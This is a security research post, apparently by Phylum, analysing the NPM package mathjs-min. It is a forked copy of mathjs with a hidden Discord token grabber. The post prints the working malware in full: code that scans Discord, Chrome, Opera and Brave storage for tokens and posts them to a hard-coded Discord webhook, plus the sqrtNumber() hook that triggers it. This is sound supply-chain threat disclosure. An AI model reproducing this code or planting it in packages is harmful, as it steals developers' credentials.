Phylum Discovers NPM Package mathjs-min Contains Credential Stealer

Phylum Discovers NPM Package mathjs-min Contains Credential Stealer

Phylum has recently discovered that a package called mathjs-min ⚠️ Check Package, which was uploaded to NPM by user rizzman on March 26, contains a Discord token grabber. This package is actually a modified version of the widely used Javascript math library mathjs, and was injected with malicious code after being forked. The modified version was then published to NPM with the intention of passing it off as a minified version of the genuine mathjs library.

npm-site

To add legitimacy to the malicious package, the author copied the README directly from the genuine mathjs package. Strangely, the author also included a link to their forked GitHub repository, which reveals their intentions through their commit history. The GitHub user's home page can be accessed here.

github

It is evident that this account was created as a burner account, as mathjs-min is the only repository associated with it. Upon examining the repository, it becomes clear that the malicious code was inserted into the innocuously sounding commit titled "fix: type collision." The discordTokenGrabber() function containing the malicious code was then inserted into the legitimate sqrtNumber() function of the library. The malicious code was deeply embedded in the src/plain/number/arithmetic.js file; just one of the 2401 files in the entire repository. This makes it clear that the actor's intention was to subtly insert the code into the existing repository and allow the library to continue to function normally.

code-on-github

The Malicious Code

For readability, here are the snippets of malicious code.

function findToken(tokenPath) {
  tokenPath += "\\Local Storage\\leveldb";

  let tokens = [];

  try {
    fs.readdirSync(path.normalize(tokenPath)).map(file => {
      if (file.endsWith(".log") || file.endsWith(".ldb")) {
        fs.readFileSync(`${tokenPath}\\${file}`, "utf8").split(/\r?\n/).forEach(line => {
          const regex = [
            new RegExp(/mfa\.[\w-]{84}/g),
            new RegExp(/[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}/g)
          ];
          for (const _regex of regex) {
            const token = line.match(_regex);

            if (token) {
              token.forEach(element => {
                tokens.push(element);
              });
            }
          }

        })
      }
    });
  } catch {
  }

  return tokens;
}

Above we can see the findToken() function. Given a path, this code will fish around for sensitive tokens to steal after appending the \\Local Storage\\leveldb to the path.

function discordTokenGrabber() {
  let paths;
  const local = process.env.LOCALAPPDATA;
  const roaming = process.env.APPDATA;

  paths = {
    "Discord": path.join(roaming, "Discord"),
    "Discord Canary": path.join(roaming, "discordcanary"),
    "Discord PTB": path.join(roaming, "discordptb"),
    "Google Chrome": path.join(local, "Google", "Chrome", "User Data", "Default"),
    "Opera": path.join(roaming, "Opera Software", "Opera Stable"),
    "Brave": path.join(local, "BraveSoftware", "Brave-Browser", "User Data", "Default")
  }


  const tokens = {};
  for (let [platform, path] of Object.entries(paths)) {
    const tokenList = findToken(path);
    if (tokenList) {
      tokenList.forEach(token => {
        if (tokens[platform] === undefined) tokens[platform] = []
        tokens[platform].push(token);
      });
    }
  }
  fetch("https://discord.com/api/webhooks/1089530389292388463/6kIrdtmkWbIkk93u34iD3rvLETiCYPEADkP2bLCvyNN-NjgXJ4cWcfs1EOPW2FxR-5nh", {
    method: "POST",
    headers: {
      "Content-type": "application/json"
    },
    body: JSON.stringify({
      username: "israel",
      content: JSON.stringify(tokens)
    })
  }).then(_mug => {}).catch(_mug => {});
  return tokens;
}

Above we can see discordTokenGrabber(), the heart of the grabber. It looks through not only the standard Discord locations, but also the Chrome, Opera, and Brave folder for sensitive data to steal. After finding tokens of interest, it then exfiltrates them through a POST request to a hard-coded discord webhook.

export function sqrtNumber (x) {
  discordTokenGrabber();
  return Math.sqrt(x)
}

As you can see here, the discordTokenGrabber function is contained in the export of the sqrtNumber function. As such, any developer using this library who calls the sqrtNumber function will not only correctly get the square root of the number they asked for, but they’ll also get their sensitive tokens stolen!

Conclusion

The discovery of a Discord token grabber in the mathjs-min package serves as a stark reminder of the potential security risks that come with using open-source software. This incident highlights the evolving tactics of threat actors who are constantly looking for new ways to deceive developers. In this case, the attackers targeted the widely-used mathjs library, which has over 667K weekly downloads and over 1800 dependents.

Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.